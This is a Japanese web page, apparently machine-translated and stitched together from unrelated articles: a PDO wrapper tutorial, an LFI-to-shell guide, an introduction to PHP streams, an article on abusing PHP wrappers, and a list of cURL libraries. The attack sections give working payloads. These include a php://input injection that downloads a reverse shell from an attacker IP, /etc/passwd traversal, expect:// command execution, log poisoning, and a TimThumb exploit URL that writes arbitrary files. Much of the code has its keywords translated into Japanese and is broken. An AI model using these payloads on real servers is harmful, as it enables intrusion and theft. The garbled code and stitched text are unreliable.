PHP ストリームの紹介。 PHP ラッパーを使用して Web アプリケーションを攻撃する方法 ZIP の内容


準備された式を使用する場合の PDO と mysqli の主な欠点は、それらの組み込み関数が準備されたクエリを複数回実行するように設計されていることです (prepare が 1 回だけ呼び出され、その後、execute() が異なるデータで何度も呼び出される場合) 。 これが、彼らが非常に冗長である理由です。 しかし問題は、実際の PHP ではそのような要求を満たすことは非常にまれであることです。 その結果、ほとんどのクエリでは毎回不要なコードを記述する必要があります。

$stmt = $pdo -> 準備 ($sql );
$stmt -> 実行 ($params);
$data = $stmt -> fetch();

彼らが言うように、彼らは何のために戦ったのか、それが彼らが遭遇したものなのです。 いつまでも記憶に残る mysql_query() と比べて、コードの削減はありませんでした。 ぜひそうしたいです!
同時に、Wes Furlong は PDO ユーザーに対して別のトリックを仕掛けました。execute() はステートメントを返す代わりに愚かなブール値を返します。これにより、メソッド チェーンを実装し、次のような美しいコードを取得できるようになります。

$data = $pdo -> 準備 ($sql ) -> 実行 ($params ) -> フェッチ ();

しかし残念なことに、このアプローチさえもほとんどアクセスできません。 そして、いずれにせよ、これは冗長です。なぜなら、ほとんどの場合、準備も実行もする必要がないからです。愚かにもリクエストを実行し、プレースホルダーのデータを渡すだけで済みます。

したがって、記述量を減らすために、PDO に run() 関数を 1 つ追加します。その関数全体は、prepare/execute を実行してステートメントを返す上記のコードにまとめられます。

クラス MyPDO は PDO を拡張します
{
パブリック関数の実行 ($sql、$args = NULL)
{
$stmt = $this -> 準備 ($sql );
$stmt -> 実行 ($args);
$stmt を返します。
}
}

そして、このステートメントから標準的な方法であらゆるデータを取得できます。

$data = $pdo -> 実行 ( "SELECT * FROM users WHERE sex="male"")->fetchAll();

問題 N2、アクセシビリティ
初心者にとってもう 1 つの不快な発見は、mysql_query() のようにスクリプト内のどこにも PDO にアクセスできないことです。

したがって、次の改善は、静的シングルトンを介して PDO へのアクセスを実装することです。 このパターンはインターネット上でよく批判されますが、それには十分な理由があります。 ただし、ここで 1 つの簡単な点を理解する必要があります。
コードがシングルトンによって引き起こされる可能性のある問題の影響を受けやすい場合は、一般的なフレームワークの高レベルのデータベース ドライバーをすでに使用していることを意味します。
しかし、mysql_query() の洞窟から這い出たばかりで、接続の受け渡しを気にせずにコード全体にわたって mysql_query() を記述することに慣れている場合、PDO インスタンスを持ち歩かなければならないのは深刻なテストとなるでしょう。 PDO 自体の構文と準備された式自体は、それほど脆弱な入力しきい値を形成しないという事実にもかかわらず。 そこで、古き良き時代のように、スクリプト内のどこからでもデータベースにアクセスできる機能を追加してみましょう。

最終的には、mysql_query() と同じくらい使いやすく、コードを削減し、準備された式の安全性を提供する、非常にコンパクトな PDO アドオンが作成されます。

コード

定義 ("DB_HOST" , "ローカルホスト" );
定義 ("DB_NAME" , "テスト" );
定義 ("DB_USER" , "root" );
定義 ("DB_PASS" , "" );
定義 ("DB_CHAR" , "utf8" );

クラスDB
{
保護された静的 $instance = null ;

パブリック関数 __construct()()
パブリック関数 __clone()()

パブリック静的関数instance()
{
if (self :: $instance === null )
{
$opt = 配列(
PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION、
PDO::ATTR_DEFAULT_FETCH_MODE => PDO::FETCH_ASSOC,
PDO::ATTR_EMULATE_PREPARES => TRUE、
);
$dsn = "mysql:host=" . DB_ホスト。 ";dbname=" 。 DB_NAME。 ";charset=" 。 DB_CHAR ;
self :: $instance = 新しい PDO ($dsn、DB_USER、DB_PASS、$opt);
}
自分自身を返します:: $instance ;
}

パブリック静的関数 __callStatic ($method, $args)
{
return call_user_func_array (array(self ::instance(), $method), $args );
}

パブリック静的関数の実行 ($sql 、 $args = )
{
if (! $args )
{
return self::instance()->query($sql);
}
$stmt = self::instance()->prepare($sql);
$stmt -> 実行 ($args);
$stmt を返します。
}
}



# テーブルを作成する
DB::クエリ( 「CREATE 一時テーブル pdowrapper (id int auto_increment 主キー、名前 varchar(255))」);

# 準備された式の複数の実行
$stmt = DB::prepare( 「pdowrapper の値に挿入 (NULL, ?)」);
foreach ([ "サム" 、 "ボブ" 、 "ジョー" ] as $name )
{
$stmt -> 実行([ $name ]);
}
var_dump(DB::lastInsertId());
//文字列(1) "3"

# ループ内で文字列を受信する
$stmt = DB::run("SELECT * FROM pdowrapper");
while ($row = $stmt -> フェッチ (PDO :: FETCH_LAZY ))
{
echo $row [ "名前" ], "," ;
echo $row -> 名前 , "," ;
echo $row [1], PHP_EOL ;
}
/*
サム、サム、サム
ボブ、ボブ、ボブ
ジョー、ジョー、ジョー
*/

# 1行取得
$id = 1 ;
$row = DB::run( 「SELECT * FROM pdowrapper WHERE id=?」, [ $id ])-> fetch();
var_export($row);
/*
配列 (
「id」=>「1」、
「名前」 => 「サム」、
*/

# フィールドを 1 つ取得する
$name = DB::run( 「pdowrapper WHERE id=?から名前を選択します。」, [ $id ])-> fetchColumn();
var_dump($name);
//string(3) "サム"

# すべての文字列を配列に取得します
$all = DB::run( 「pdowrapper から名前、ID を選択」)->fetchAll(PDO::FETCH_KEY_PAIR);
var_export($all);
/*
配列 (
「サム」 => 「1」、
「ボブ」 => 「2」、
「ジョー」 => 「3」、
*/

# テーブルを更新する
$new = "スー" ;
$stmt = DB::run( 「UPDATE pdowrapper SET name=? WHERE id=?」, [ $new , $id ]);
var_dump($stmt -> rowCount());
//int(1)

LFIの略です ローカル ファイルに含まれるもの- これはファイルのローカル インクルージョンの脆弱性であり、攻撃者がターゲット Web サーバー上に存在するファイルをインクルードできるようになります。 通常、これは、ユーザー入力をサニタイズしない動的ファイル組み込みメカニズムを悪用することによって悪用されます。

ユーザー入力をサニタイズせずにファイル名をパラメータとして受け取るスクリプトは、LFI 脆弱性の良い候補です。良い例としては、image.jpg をパラメータとして受け取る次の PHP スクリプト foo.php?file=image.jpg が挙げられます。 攻撃者は単純に image.jpg を置き換えてペイロードを挿入します。 通常、スクリプト ディレクトリをエスケープし、ファイル システムのディレクトリ構造を横断するディレクトリ トラバーサル ペイロードが使用され、foo.php?file=../../../../../../. などの機密ファイルが公開されます。 /etc/passwd または Web アプリケーション自体内の機密ファイル。 SQL ユーザー名とパスワードを含む機密情報または構成ファイルを公開する。

注: 場合によっては、LFI 脆弱性の性質によっては、システムの実行可能ファイルが実行される可能性があります。

LFIからシェルを入手する方法

以下は、脆弱な LFI スクリプトが公開されているシステムでシェルを取得するために私が過去に使用したいくつかのテクニックです。

パス トラバーサル、別名ディレクトリ トラバーサル

上で述べたように、ファイルシステムのディレクトリ構造を走査して、シェル、ユーザー名/パスワードなどの取得に役立つシステムに関する機密情報を開示します。

PHP ラッパー Expect:// LFI

php Expect ラッパーを介してシステム コマンドを実行できるようにします。残念ながら、これはデフォルトでは有効になっていません。

PHP の例は次のとおりです。

http://127.0.0.1/fileincl/example1.php?page=expect://ls

以下は、PHP 期待ラッパーが無効になっている場合に受信されるエラーです。

警告 : include () : ラッパー「expect」が見つかりません - 有効にするのを忘れましたか?< br >PHPを設定しましたか? /var/www/fileincl/example1 にあります。 php の 7 行目 警告 : include () : が見つかりません< br >ラッパー「expect」 - PHP を設定したときに有効にするのを忘れましたか? で< br >/var/www/fileincl/example1. php の 7 行目 警告: include (expect://ls): ストリームを開けませんでした: /var/www/fileincl/example1 にはそのようなファイルまたはディレクトリがありません。 php 7 行目 警告: include () : インクルードするために "expect://ls" を開けませんでした (include_path = 「.:/usr/share/php:/usr/share/pear」) /var/www/fileincl/example1 にあります。 PHPの7行目

PHP ラッパー php://file

もう 1 つの PHP ラッパーである php://input は、curl、burp、または hackbar を使用して POST リクエストでペイロードを送信し、投稿データを提供するのがおそらく最も簡単なオプションです。

http://192.168.183.128/fileincl/example1.php?page=php://input

データ ペイロードを投稿するには、次のような簡単なことから始めてみてください。

次に、次のコマンドを使用して、攻撃マシンから をダウンロードしてみてください。

「wget http://192.168.183.129/php-reverse-shell.php -O /var/www/shell.php」) ; ?>

アップロード後、http://192.168.183.129/shell.php でリバース シェルを実行します。

PHP ラッパー php://filter

別の PHP ラッパーである php://filter この例では、出力は Base64 を使用してエンコードされているため、出力をデコードする必要があります。

http://192.168.155.131/fileincl/example1.php?page= php://filter/convert.base64-encode/resource= ../../../../../etc/passwd

/proc/self/environ LFI メソッド

脆弱な LFI スクリプトに /proc/self/environ を含めることができる場合は、Burp でユーザー エージェント パラメータを操作することでコード実行を利用できます。 PHP コードが導入されると、脆弱な LFI スクリプトを介して /proc/self/environ を実行できるようになります。

/proc/self/fd/ LFI メソッド

前の /proc/self/environ メソッドと同様に、脆弱な LFI スクリプトを介して実行できるコードを proc ログ ファイルに導入することができます。 通常、PHP コードをリファラーに挿入するには、burp またはcurl を使用します。

Apache エラー ログ情報を含む proc ファイルが /proc/self/fd/ で変更されるため、この方法は少し注意が必要です。 /proc/self/fd/2 、 /proc/self/fd/10 など Burp Intruder + FuzzDB の LFI-FD-Check.txt の可能性のある proc ファイルのリストを使用して、/proc/self/fd/ ディレクトリのディレクトリ構造をブルート フォースすることをお勧めします。その後、返されたページ サイズを監視して調査できます。

fimap LFI ペンテストツール

fimap は、LFI スクリプトを検出して悪用する上記のプロセスを自動化する侵入テストで使用されるツールです。 脆弱な LFI スクリプトを検出すると、fimap はローカル ファイルシステムを列挙し、書き込み可能なログ ファイルまたは /proc/self/environ などの場所を検索します。 LFI 検出を自動化するために侵入テストで一般的に使用されるもう 1 つのツールは、Kali の dotdotpwn です。これは同様の方法で機能します。

fimap + phpinfo() エクスプロイト

Fimap は、PHPinfo() 情報開示グリッチを悪用して、ローカル ファイル インクルージョンによる PHP の一時ファイル作成を悪用し、作成された一時ファイルの場所を明らかにします。

phpinfo() ファイルが存在する場合、通常はシェルを取得できます。phpinfo ファイルの場所がわからない場合は、fimap で探索するか、OWASP DirBuster などのツールを使用できます。

プログラミングでは、ファイル、ソケット、 http接続。 そして、それらはすべて何らかのアクセス インターフェイスを持っており、多くの場合相互に互換性がありません。 したがって、これらの不一致を排除し、さまざまなデータ ソースでの作業を統合するには、 PHP4.3発明された PHP ストリーム - ストリーム.

それでも PHP4.3ずっと前に出てきた、たくさんの PHPプログラマー~について非常に漠然とした考えがある PHP のスレッド、使い続けます カールどこでも、 PHPこれには、次の形式のより便利な代替手段があります。 ストリームコンテキスト.

次のタイプのストリームが存在します。 PHP:

  • ハードドライブ上のファイル。
  • HTTP接続ウェブサイトで;
  • コンパウンド UDPサーバーとともに。
  • ZIPファイル;
  • ファイル * .mp3.

これらすべてのリソースに共通するものは何でしょうか? それらはすべて読み書き可能です。つまり、 読み取りおよび書き込み操作は、それらすべてに適用できます。 力 PHPストリーム重要なのは、同じ関数セットを使用してこれらのリソースすべてにアクセスできることです。 とても快適です。 また、そのような必要が突然生じた場合は、スレッド ハンドラーの独自の実装を作成することもできます。 「ストリームラッパー」。 読み書きだけでなく、 PHP のストリーム名前変更や削除などの他の操作も実行できます。

プログラミング中 PHP, あなたは気づいていないかもしれませんが、すでにスレッドに遭遇しています。 したがって、スレッドで動作する関数は次のとおりです。 fopen(), file_get_contents(), ファイル()等 つまり、実際には、ファイル ストリームを常に完全に透過的に使用していることになります。

別のタイプのストリームを操作するには、そのプロトコルを指定する必要があります (ラッパー)次の方法で: ラッパー://some_stream_resource、 どこ ラッパー://- これは、たとえば http://, ファイル://, ftp://, ジップ://など、そして some_stream_resource - URI、開きたいものを特定します。 URI形式に制限はありません。 例:

  • http://site/php-stream-introduction.html
  • ファイル:/C:/Projects/rostov-on-don.jpg
  • ftp://ユーザー: [メールで保護されています]/pub/file.txt
  • mpeg://file:///music/song.mp3
  • data://text/plain;base64,SSBsb3ZlIFBIUAo=

ただし、一部のシェルのサポートは設定に依存するため、すべてのプロトコルとハンドラーが機能するわけではないことに注意してください。 したがって、どのプロトコルがサポートされているかを確認するには、次のスクリプトを実行する必要があります。

// 登録されているソケットトランスポートのリスト
print_r(stream_get_transports());

// 登録されているスレッド(ハンドラ)のリスト
print_r(stream_get_wrappers());

// 登録されているフィルターのリスト
print_r(stream_get_filters();

PHP スレッドのコンテキスト

多くの場合、http リクエストを行うときに追加のパラメータを指定する必要があります。 スレッド コンテキストでは、追加のパラメーターを指定できるようにすることで、この問題を解決します。 多くのスレッド対応関数には、オプションのスレッド コンテキスト パラメーターがあります。 機能を見てみましょう file_get_contents():

String file_get_contents(string $filename [, int $flags = 0 [, resource $context [, int $offset = -1 [, int $maxlen = -1]]]])

ご覧のとおり、スレッド コンテキストは 3 番目のパラメーターとして渡されます。 コンテキストは関数を使用して作成されます stream_context_create()、配列を受け取り、コンテキスト リソースを返します。

$オプション = 配列(
"http" => 配列(
「メソッド」=>「GET」、
"header" => "受け入れ言語: en\r\n"。
「クッキー: foo = bar\r\n」
);

$context = stream_context_create($options);

// これを file_get_contents で使用する ...
echo file_get_contents("http://www.example.com/", 0, $context);

それで今日私たちはそれが何であるかを学びました PHP のスレッドとスレッドコンテキスト、その使用例を見て、次の記事ではストリーム メタデータについて説明し、独自のハンドラーを作成します。

プログラミング言語の柔軟性により、開発者にとって利便性が高まるだけでなく、新たな攻撃ベクトルも開かれます。 PHP 開発者は多くの場合、いわゆるラッパーを使用しますが、これがアプリケーションに組み込まれたセキュリティ フィルターのバイパスにつながり、たとえばサーバー上で任意のコードが実行される可能性があるとは考えていません。 今日は、ラッパー、その機能、およびラッパーに関連する脅威について説明します。

警告

すべての情報は情報提供のみを目的として提供されています。 編集者も著者も、この記事の素材を使用することによって引き起こされる可能性のある損害に対して責任を負いません。

イントロ

PHP に実装されたラッパー メカニズムに関連する脆弱性は、かなり長い間議論されてきました。 これらへのリンクは、OWASP TOP 10 および WASC TCv2 にあります。 ただし、データ エンコーディングの実装の多くの機能により、セキュリティ要件を念頭に置いて開発されたアプリケーションにも脆弱性 (重大な脆弱性を含む) が含まれる可能性があります。 この記事では、まず PHP ラッパーとは何か、そしてそれがプログラマーにとってどのように役立つのかを簡単に説明します。 次に、アプリケーションに組み込まれたセキュリティ フィルターをバイパスし、ファイル システムへの不正アクセスや任意のコードの実行に関連する攻撃を実行できるようにする機能を分析します。

ラッパー

PHP にはストリームというものがあり、バージョン 4.3.0 以降のインタープリターに登場しました。 これは、単一の関数セットを使用してファイル、ネットワーク、圧縮データ、その他のリソースを操作するための抽象レイヤーです。 最も単純な定義では、スレッドは「スレッドのような」動作を持つリソースです。 つまり、読み取り、書き込み、および内部移動が可能なリソースです。 たとえば、fopen 関数を考えてみましょう。 公式ドキュメントによると、次のような構文になっています。

リソース fopen(string $filename, string $mode [, bool $use_include_path = false [, resource $context ]])

ここで、$filename はローカル ファイルへのパスです。 次のようにローカル ファイルの内容を取得できることはよく知られています。

$handle = fopen($file, "rb"); while (!feof($handle)) ( $contents .= fread($handle, 8192); ) $contents を出力します。

ただし、ファイルへの簡単なパスに加えて、いわゆるラッパーを使用することもできます。 これが何であるかを説明する最良の方法は、いくつかの例を挙げることです。 したがって、同じ fopen 関数を通じてラッパーを使用すると、次のことが可能になります。

  • FTP からファイルをダウンロードします: ftp://user: [メールで保護されています]/pub/file.txt;
  • アクセスが制限されている場合は、IP 経由で server-status/server-info に連絡してください: http://127.0.0.1/server-status。
  • 読み取り用に開かれたファイル記述子にアクセスします (PHP >= 5.3.6): php://fd/XXX;
  • さらに、OS コマンド (expect 拡張機能がインストールされている場合) を実行することもできます:expect://ls。

ラッパー (プロトコル ハンドラーまたはラッパーとも呼ばれる) は、ストリームからのデータを処理する方法を関数に指示します。 したがって、ラッパーをサポートする関数を使用して、さまざまなソースからデータを取得できます。 ラッパーを使用すると、任意のストリームを通じてプログラムに入力されるデータを柔軟かつ便利に処理したり、必要に応じて変更したりできます。

考慮した例では、ラッパーが読み取りモードで使用されました。 データが記録されている場合、この場合、ラッパーは多くの関数の機能を拡張することもできます。 たとえば、copy() 関数は両方の引数でラッパーをサポートし、2 番目の引数が php://output ラッパーを使用する場合、コピーされたファイルは出力バッファに送信されます。 したがって、copy() 関数を使用すると、ファイルをコピーするだけでなく、ファイルを読み取ることもできます。

Copy("/etc/passwd" , "php://output");

同様に、file_put_contents 関数と、書き込みモードでラッパーをサポートするその他の関数を使用できます。

File_put_contents("php://output", file_get_contents("/etc/hosts"));

PHP 5.3.6 では、ファイル記述子への直接アクセスを提供する php://fd ラッパーが導入されました。 PHP が Apache モジュールとしてインストールされている場合、php://fd ラッパーにより、任意のデータを access_log/error_log に書き込むことができます (通常、これらのファイルの権限は 644 で、root のみがファイルに直接書き込むことができます)。

PHP には非常に多くの組み込みラッパーがあると言わざるを得ませんが、stream_wrapper_register 関数を使用して独自のラッパーを作成および登録できます。 詳細については、PHP の公式 Web サイトをご覧ください。 利用可能なラッパーの完全なリストは、「phpinfo - 登録された PHP ストリーム」セクションにあります。

一部のラッパーには、Web アプリケーションの脆弱性をより効果的に悪用できる文書化されていない機能があります。 今日検討するのはこれらの機能です。

ZIPには何が入っているのでしょうか?

ZIP は、一般的なデータ圧縮およびファイル アーカイブ形式です。 この形式のサポートは、最新のすべてのオペレーティング システムに実装されており、この形式を操作するためのライブラリがほとんどのプログラミング言語用に作成されています。 PHP では、zip モジュールを使用してこの形式を操作すると便利です。

Linux システムでは、PHP が --enable-zip オプションを使用してコンパイルされている場合、zip モジュールが使用可能になります。 個々のファイルだけでなく、ディレクトリ全体をアーカイブすることもできます。 ディレクトリ構造を保持するために、アーカイブに追加されるファイルの名前にスラッシュ / を使用することができます。 zip モジュールのもう 1 つの重要な機能は、任意の名前のファイルを処理できることです。主なことは、ファイルの内容が正しく形成された zip アーカイブであることです。

zip アーカイブの作成 $zip = new ZipArchive; if ($zip->open("/tmp/any_name_zip_arxiv",1))( $zip->addFromString("/my/header.html", "近い();

zip アーカイブが作成されると、zip:// ラッパーを使用してアーカイブ内のファイルに直接アクセスできます。

zip アーカイブからファイルを読み取る print file_get_contents("zip:///tmp/any_name_zip_arxiv#/my/header.html");

名前にスラッシュを含むファイルをアーカイブできるため、null バイトがない場合でもリモート ファイル インクルードの脆弱性を悪用できます。 たとえば、次の単純なスクリプトを考えてみましょう。

$s = $_POST["パス"]; $s."/header.html" を含めます。

もちろん、この場合、さまざまな方法でコードを実行できます。 ただし、ラッパー http://、ftp://、data:// の使用は、allow_url_include ディレクティブによって制限されており、ローカル ファイルをインクルードする場合の null バイトの使用は、magic_quotes_gpc ディレクティブによって防止される可能性が高くなります。 また、allow_url_include=Off および magic_quotes_gpc=On では、この脆弱性を悪用する方法が存在しないように思えるかもしれません。 しかし、これまで公には説明されていなかった別の方法があります。

まず、攻撃されたサーバー上でファイルを作成できると仮定しましょう。 次に、上の例に示すように zip アーカイブを作成すると、zip:// ラッパーを使用して PHP コードを実行できます。

パス=zip:///tmp/any_name_zip_arxiv#/my

PHP 関数を使用して必要なファイルを作成できない場合は、HTML フォームを通じてコン​​テンツをロードするときに PHP が作成する一時ファイルを使用できます。 一時ファイルへのパスは phpinfo() から見つけることができます。 LFI/RFI などの脆弱性を悪用する際の一時ファイルの使用方法の詳細については、rdot.org フォーラムを参照してください。 allow_url_fopen ディレクティブは zip:// ラッパーの使用を制限しないことに注意することが重要です。

私のデータ://はどこにありますか?

data:// ラッパーは、最初から Web セキュリティ専門家の注目を集めてきました。 公式ドキュメントでは、このラッパーを非常に限定された形式で使用することを推奨しています。 ただし、RFC 2379 仕様によれば、このラッパーではより広範な構文が可能になります。

Dataurl:= "data:" [ mediatype ] [ ";base64" ] "," data mediatype:= [ type "/" subtype ] *(";" パラメータ) data:= *urlchar パラメータ:= 属性 "=" 値

この場合、mediatype は完全に存在しないか、または任意の値が入力される可能性があります。

データ://anytype/anysubtype;myattr!=V@l!;youattr?=Op$;base64

このラッパー機能を使用すると、チェックやフィルターをバイパスできます。 たとえば、一般的な TimThumb v1.x スクリプトには次のフィルターがあります。

Function validate_url ($url) ( $pattern="/\b(?:(?:https?):\/\/|www\.)[-a-z0-9+&@#\/%?=~ _|!:,.;]*[-a-z0-9+&@#\/%=~_|]/i"; return preg_match ($pattern, $url); )

次のようにしてこのチェックを回避できます。

Data://text/plain;charset=http://w?param=anyval;base64,SSBsb3ZlIFBIUAo

PHP には stream_get_meta_data() という関数があります。 公式ドキュメントによると、ストリームとファイル ポインターからメタデータを抽出します。

配列 stream_get_meta_data (リソース $stream)

同時に、返された配列には明確に定義されたキーを持つ要素が含まれており、この配列に新しい要素を追加するタスクは、一見すると非常に問題があるように見えます。 しかし、data:// ラッパーを使用すると、この配列を非常に簡単に操作できます。 どうやって? 例を挙げてみましょう。

$password = "秘密"; $file = $_POST["ファイル"]; $fp = fopen($file, "r"); extract(stream_get_meta_data($fp)); if ($mediatype === "text/plain") ( ... ) if ($_COOKIE["admin"] === $password) ( ... )

ローカル ファイル名の代わりに $file 変数でデータ ラッパーを使用する場合、

投稿データ: ファイル=data://text/plain;パスワード=mysecret;base64

その後、$password パラメータを簡単にオーバーライドし、Cookie を使用して認証を渡すことができます。

Cookie: admin=mysecret

冷湿布

ドキュメントによると、compress.zlib:// ラッパーを使用すると、gz アーカイブを解凍できます。 このラッパーを使用して zlib アーカイブではないデータを処理すると、データは変更されずに返されます。

Readfile("compress.zlib:///etc/hosts");

"非常に役立ちます!" - あなたが考えるかもしれません :)。 これからはもっと涼しくなるでしょう。 Web 用の PHP プログラミングを行ったことがある場合は、おそらく prase_url() 関数に精通しているでしょう。 この関数は URL を解析することを思い出してください。 ここで興味深い点が 1 つあります。関数の入力には、URL だけでなく、かなり一般的なタイプの文字列も指定できます。

Print_r(parse_url("anysheme://anysite.com/;h​​ttp://w?v@l=!"));

この機能を利用すると、多機能ラッパーを使用して parse_url 関数に基づいてさまざまなチェックやフィルターをバイパスできます。 たとえば、次のスクリプトについて考えてみましょう。開発者によれば、このスクリプトは信頼できるホスト img.youtube.com からのみファイルをダウンロードできます。

$url_info = parse_url($_POST["src"]); if ($url_info["host"] === "img.youtube.com") ( $name = str_replace("/", "", substr($url_info["path"], 4)); copy($ src, "./".$name); )

通常モードでは、img.youtube.com からのプレビューが次のように読み込まれます。

投稿データ: src=http://img.youtube.com/vi/Uvwfxki7ex4/0.jpg

この場合、compress.zlib:// ラッパーを使用してフィルターをバイパスすることもできます。

投稿データ: src=compress.zlib://img.youtube.com/../path/to/local/file;

さらに、前に説明した data:// ラッパーを使用して、ホスト名フィルターをバイパスし、任意の名前とコンテンツを持つファイルをサーバーにアップロードすることも非常に簡単です。

投稿データ: src=data://img.youtube.com/aaamy.php?;base64,SSBsb3ZlIFBIUAo

この場合、ローカル ファイルはプレビュー フォルダーにコピーされます。このフォルダーがブラウザーから直接アクセスできる場合、システム ファイルを表示できるようになります。 この例は、リモート ホストからファイルをダウンロードするスクリプトで data:// および compress.zlib:// ラッパーを使用すると便利であることを示しています。 そのようなスクリプトの 1 つが TimThumb です。


TimThumb v1.x の脆弱性の悪用

TimThumb は、多くの WordPress テーマやプラグインで使用される人気のある画像スクリプトです。 2011 年 8 月に、TimThumb v 1.32 スクリプトに重大な脆弱性が発見されました。この脆弱性により、信頼できるホストからの画像の代わりに、PHP コードを含むファイルが攻撃対象のサーバーにアップロードされる可能性があります。 ほぼ一夜にして、この脆弱性の悪用について詳しく説明するアドバイザーがパブリック ドメインに登場しました。

この脆弱性の本質は、スクリプトがイメージをダウンロードできる信頼できるホストのリストに対して URL を誤ってチェックすることでした。 たとえば、信頼できるホスト blogger.com でフィルタをバイパスするには、信頼できるホストの URL (たとえば、blogger.com.attacher.com) を含む第 4 レベルのドメインを登録し、このドメインからファイルをダウンロードすることが提案されています。

http://www.target.com/timthumb.php?src=http://blogger.com.attacher.com/pocfile.php

このようにして、バージョン 1.32 (リビジョン 142) まではこの脆弱性を悪用することが可能でした。 しかし、新しいバージョンにも脆弱性がありました。 バージョン 1.34 (リビジョン 145) で画像がどのようにロードされるかを見てみましょう。

Function check_external ($src) ( ................... $filename = "external_" . md5 ($src); $local_filepath = DIRECTORY_CACHE . "/" . $ファイル名; if (!file_exists ($local_filepath)) ( if(strpos(strto lower($src),"http://")!==false|| strpos(strto lower($src),"https:// ") !==false)( if (!validate_url ($src)) display_error ("無効な URL"); $url_info = parse_url ($src); . . . . . if($url_info["host"]=="www.youtube.com" || $url_info["host"] == "youtube.com") ( parse_str ($url_info["query" ]); ... ................... if (function_exists ("curl_init")) ( ...................................... . $fh = fopen ($local_filepath, "w"); $ch =curl_init ($src); ......................curl_setopt ($ch 、CURLOPT_URL、$src); ...................................curl_setopt ($ch、CURLOPT_FILE、$fh); curl_setopt ($ch, CURLOPT_WRITEFUNCTION, "curl_write"); ...................... ................................ $file_infos = getimagesize ($local_filepath); if (empty ($file_infos["mime"]) || !preg_match ("/jpg|jpeg|gif|png/i", $file_infos["mime"])) ( unlink ($local_filepath) ; touch($local_filepath); ......................

check_external 関数の設計時にいくつかの論理エラーが発生したことが簡単にわかります。

  1. ほとんどのチェックが完了すると、parse_str 関数はフィルターされていないユーザー データを受け取ります。 したがって、以前にチェックした変数 $url_info['host']、$src、$local_filepath をオーバーライドできます。 したがって、どのサーバーからでもファイルをダウンロードできます。
  2. ファイルをサーバーにアップロードした後、getimagesize に基づいてファイルが画像であるかどうかがチェックされます。 チェックに失敗した場合、ファイルは削除されます。 ただし、$local_filepath 変数に影響を与える可能性があるため、ラッパー php://filter、compress.zlib:// を使用してローカル ファイルにアクセスできます。 この場合、リンク解除機能ではファイルを削除できません。

いくつか調べた結果、ファイルをダウンロードするためのエクスプロイトを作成しました。 任意の名前と任意の内容で、システム内の任意の場所に配置されます。

Src=http://www.youtube.com/?local_filepath=php://filter/resource%3D./cache/test.php&url_info=img.youtube.com&src=http://site.com/thumb.txt

1.x ブランチはリビジョン 149 で終了しますが、これにも脆弱性が含まれています。 このリビジョンでは、parse_str 関数がすでに削除されているため、変数を上書きすることはできません。 ただし、URL の有効性をチェックするフィルターは、$src 文字列内の一致する部分文字列の出現のみをチェックします。 さらに、攻撃されたサーバーでcurl_init関数が利用できない場合、file_get_contents/file_put_contentsを使用してファイルがダウンロードされます。 これらの関数は、curl_init とは異なり、PHP で使用可能なすべてのラッパーをサポートしていることに注意することが重要です。

If(!$img = file_get_contents($src)) (display_error("" . $src . " のリモート ファイルにアクセスできません。ファイルのアクセス許可が制限されている可能性があります"); ) if(file_put_contents($local_filepath, $img) == FALSE) (display_error ("一時ファイルの書き込みエラー"); )

したがって、data:// ラッパーを使用すると、すべてのフィルターをバイパスし、任意のコンテンツを含むファイルをキャッシュ ディレクトリに作成できます。

データ://img.youtube.com/e;charset=http://w?var=;base64,SSBsb3ZlIFBIUAo

または、 compress.zlib:// ラッパーを使用して、ローカル ファイルをキャッシュにコピーします。

Compress.zlib://youtube.com/../http://?/../../path/to/local/file

利点は、キャッシュのファイルに直接アクセスできることです。その結果、データ ラッパーを使用してシェルを作成し、compress.zlib を使用してローカル ファイルの内容を取得することによって RCE が実現されます。

結論の代わりに

PHP に組み込まれたラッパーは、ファイル操作などの脆弱性を悪用する大きな機会を提供することは明らかです。 ただし、関数 file_exists、is_file、filesize に基づく最も単純なチェックでもラッパーの使用が許可されないことに注意してください。 また、Suhosin パッチがインストールされている場合、allow_url_include ディレクティブが On に設定されている場合でも、デフォルトではインクルードでラッパーを使用することはできません。 この時点では、ラッパーの使用に関するトピックは終了しません。次の記事では、一般的な Web エンジンの脆弱性の悪用の例を使用して、php://filter ラッパーの機能について説明します。 乞うご期待!

ただし、プロジェクトの規模や重要性に応じて、そのようなライブラリは必要なく、cURL だけが必要になる場合もあります。重要なのは、デフォルトの構文を使用した cURL は操作が面倒になる可能性があるため、使用した方がよい場合があります。多くのタスクを簡素化し、リクエストの実行を容易にするラッパーです。このトップでは、Web 上の cURL で利用できる最高のラッパー ライブラリを 7 つ紹介します。

7. dcaiのカール

このラッパーは、PHP cURL ライブラリの構文を簡素化する抽象化レイヤーを提供します。

$http = 新しい dcai\curl; // キャッシュを有効にする $http = new dcai\curl(array("cache"=>true)); // クッキーを有効にする $http = new dcai\curl(array("cookie"=>true)); // プロキシを有効にする $http = new dcai\curl(array("proxy"=>true)); // HTTP GET $response = $http->get("http://example.com"); // HTTP POST $response = $http->post("http://example.com/", array("q"=>"words", "name"=>"moodle")); // POST RAW $xml = " 実行する"; $response = $http->post("http://example.com/", $xml); // HTTP PUT $response = $http->put("http://example.com/", array("ファイル"=>"/var/www/test.txt");

6.カールラッパー

CurlWrapper は、PHP cURL 拡張機能の柔軟なラッパー クラスです。 次のコマンドを使用して、ライブラリのインスタンスを簡単に初期化できます。

Try ( $curl = new CurlWrapper(); ) catch (CurlWrapperException $e) ( echo $e->getMessage(); )

CurlWrapper オブジェクトは、HEAD、GET、POST、PUT、DELETE の 5 種類のリクエストをサポートします。 リクエストする URL を指定する必要があり、オプションで、それと一緒に送信する変数の連想配列またはクエリ文字列を指定する必要があります。

$response = $curl->head($url, $params); $response = $curl->get($url, $params); $response = $curl->post($url, $params); $response = $curl->put($url, $params); $response = $curl->delete($url, $params);

5. ローリング cURLx

Rolling Curl は、非常にクールな名前を持つ PHP 用の使いやすい cURL マルチ ラッパーです。 PHP での同時 http リクエストをできるだけ簡単にすることを目的としています。 まず、一度に開く同時リクエストの最大数を指定してクラスを初期化します。

$RCX = 新しい RollingCurlX(10);

これ以降のすべてのリクエストは、完了するまでキューに入れられます。

$url = "http://www.google.com/search?q=apples"; $post_data = ["ユーザー" => "ボブ", "トークン" => "dQw4w9WgXcQ"]; //POST を使用しない場合は NULL に設定 $user_data = ["foo", $whatever]; $オプション = ; function callback_functn($response, $url, $request_info, $user_data, $time) ( $time; // リクエストにかかった時間 (ミリ秒単位) (float) $request_info; //curl_getinfo($ch) によって返された配列に加えていくつかの追加機能) $RCX->addRequest($url, $post_data, "callback_functn", $user_data, $options, $headers);

